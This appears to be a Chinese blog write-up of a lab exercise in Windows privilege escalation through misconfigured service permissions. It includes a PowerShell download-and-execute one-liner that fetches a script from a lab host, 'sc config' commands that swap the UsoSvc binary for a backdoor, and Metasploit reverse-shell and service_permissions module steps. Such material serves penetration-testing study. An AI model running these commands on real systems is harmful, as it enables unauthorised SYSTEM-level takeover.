系统服务权限配置错误:
文中通过利用windows系统服务权限配置的错误,将后门文件添加到此服务中,从而成功反弹shell,实现提权效果。本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
描述:
Windows在系统启动时,会伴随着一些高权服务启动(windows服务是以system权限运行的)倘若某些服务存在一些漏洞,那么就能够借此服务进行权限劫持。
漏洞原理:
windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。windows服务是以system权限运行的,其文件夹、文件和注册表key-value都是受强制访问控制保护的。但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务。
漏洞复现:
下载地址:
https://github.com/itm4n/PrivescCheck.git
执行命令:
powershell -nop -exec bypass -c "IEX (New-Object
Net.WebClient).DownloadString('http://192.168.45.135:8888/PrivescCheck.ps1'); Invoke-PrivescCheck
确定哪些服务能进行权限劫持,发现UsoSvc这个服务可利用:
同样使用msf生成后门,然后开启监听:
使用sc 来进行这个服务状态查询:
/c sc query UsoSvc #查看服务状态 ,如果开启,则先进行stop关闭
/c sc config usosvc binPath= "C:\ProgramData\6.exe" #替换成后门文件
/c sc start UsoSvc #重新开启服务
能够成功反弹,且权限是system权限,但极不稳定,所以需要设置自动迁移进程:
set AutoRunScript migrate -f #自动迁移进程 ,成功反弹:
同样msf也给我们提供了对应的检查模块并自动化劫持提升权限:
use exploit/windows/local/service_permissions
set Session session号
成功获得新的session :